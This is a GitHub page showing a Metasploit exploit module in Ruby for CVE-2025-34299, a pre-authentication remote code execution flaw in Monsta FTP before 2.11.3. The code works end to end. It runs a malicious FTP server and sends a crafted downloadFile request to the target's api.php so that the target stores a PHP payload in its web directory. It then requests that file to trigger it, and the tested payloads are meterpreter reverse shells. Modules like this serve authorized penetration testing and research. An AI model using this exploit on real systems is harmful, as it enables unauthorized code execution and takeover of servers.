-
Notifications
You must be signed in to change notification settings - Fork 14.8k
Expand file tree
/
Copy pathmonsta_ftp_downloadfile_rce.rb
More file actions
250 lines (216 loc) · 8.26 KB
/
monsta_ftp_downloadfile_rce.rb
File metadata and controls
250 lines (216 loc) · 8.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Monsta FTP downloadFile Remote Code Execution',
'Description' => %q{
This module exploits a pre-authenticated remote code execution vulnerability
in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
action which allows an attacker to connect to a malicious FTP or SFTP server
and download arbitrary files to arbitrary locations on the Monsta FTP server.
This module uses FTP to exploit the vulnerability.
},
'Author' => [
'watchTowr Labs', # Discovery
'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
'msutovsky-r7' # Module reviewer
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-34299'],
['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/']
],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2025-11-07',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/'])
])
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')
version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match
version = Rex::Version.new(version_match[1])
print_status("Monsta FTP version detected: #{version}")
version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
end
def php_payload_content
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
"<?php #{phped_payload} ?>"
end
def send_ftp_response(cli, code, message)
cli.put "#{code} #{message}\r\n"
vprint_status("FTP: #{code} #{message}")
end
def require_auth(cli)
return true if @state[cli][:auth]
send_ftp_response(cli, 530, 'Not logged in.')
false
end
def send_data_connection(cli)
conn = establish_data_connection(cli)
unless conn
send_ftp_response(cli, 425, "Can't open data connection.")
return nil
end
conn
end
def handle_data_transfer_retr(cli, message)
send_ftp_response(cli, 150, message)
conn = send_data_connection(cli)
return unless conn
conn.put(php_payload_content)
conn.close
send_ftp_response(cli, 226, 'Transfer complete.')
end
def start_ftp_service(credentials)
define_singleton_method(:on_client_connect) do |cli|
vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}")
@state[cli] = {
name: "#{cli.peerhost}:#{cli.peerport}",
ip: cli.peerhost,
port: cli.peerport,
user: credentials[:user],
pass: credentials[:pass],
auth: false,
valid_user: false
}
send_ftp_response(cli, 220, 'FTP Server Ready')
end
start_service({ SSL: false })
end
def handle_ftp_command(_cli, cmd, arg = nil)
vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}")
end
def on_client_command_user(cli, arg)
handle_ftp_command(cli, 'USER', arg)
@state[cli][:valid_user] = arg == @state[cli][:user]
send_ftp_response(cli, 331, 'User name okay, need password.')
end
def on_client_command_pass(cli, arg)
handle_ftp_command(cli, 'PASS')
@state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass]
code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.']
send_ftp_response(cli, code, message)
end
def on_client_command_pwd(cli, _arg)
handle_ftp_command(cli, 'PWD')
send_ftp_response(cli, 257, '"/" is current directory.')
end
def on_client_command_type(cli, arg)
handle_ftp_command(cli, 'TYPE', arg)
send_ftp_response(cli, 200, "Type set to #{arg}.")
end
def on_client_command_port(cli, arg)
handle_ftp_command(cli, 'PORT', arg)
parts = arg.split(',')
unless parts.length == 6
vprint_error("FTP: Invalid PORT command format: #{arg}")
send_ftp_response(cli, 500, 'Illegal PORT command.')
return
end
host = parts[0..3].join('.')
port = (parts[4].to_i * 256) + parts[5].to_i
vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}")
active_data_port_for_client(cli, port)
send_ftp_response(cli, 200, 'PORT command successful.')
end
def on_client_command_retr(cli, arg)
handle_ftp_command(cli, 'RETR', arg)
return unless require_auth(cli)
handle_data_transfer_retr(cli, "Opening data connection for #{arg}")
end
def on_client_command_quit(cli, _arg)
handle_ftp_command(cli, 'QUIT')
send_ftp_response(cli, 221, 'Goodbye.')
end
def on_client_command_unknown(cli, cmd, arg)
handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg)
send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
end
def trigger_http_request(exploit_data)
vprint_status('Triggering HTTP request...')
payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "request=#{Rex::Text.uri_encode({
'connectionType' => 'ftp',
'configuration' => {
'host' => srvhost_addr,
'username' => exploit_data[:user],
'initialDirectory' => '/',
'password' => exploit_data[:pass],
'port' => srvport
},
'actionName' => 'downloadFile',
'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
}.to_json)}"
})
return nil unless res&.code == 200 && res.get_json_document&.[]('success')
vprint_status("File downloaded successfully: #{payload_name}")
payload_name
end
def exploit
exploit_data = {
user: Faker::Internet.username,
pass: Faker::Internet.password
}
start_ftp_service(exploit_data)
vprint_status("FTP server started on #{bindhost}:#{bindport}")
payload_name = trigger_http_request(exploit_data)
fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name
register_file_for_cleanup(payload_name)
vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...")
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET')
vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket'
end
end